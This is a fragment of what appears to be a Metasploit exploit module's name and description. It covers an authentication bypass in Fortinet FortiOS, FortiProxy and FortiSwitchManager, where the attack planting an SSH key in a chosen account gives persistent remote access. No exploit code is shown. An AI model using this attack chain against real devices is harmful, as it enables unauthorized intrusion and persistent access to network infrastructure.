'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.',
'Description' => %q{
This module exploits an authentication bypass vulnerability
in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API
to gain access to a chosen account. And then add a SSH key to the
authorized_keys file of the chosen account, allowing
to login to the system with the chosen account.
Successful exploitation results in remote code execution.
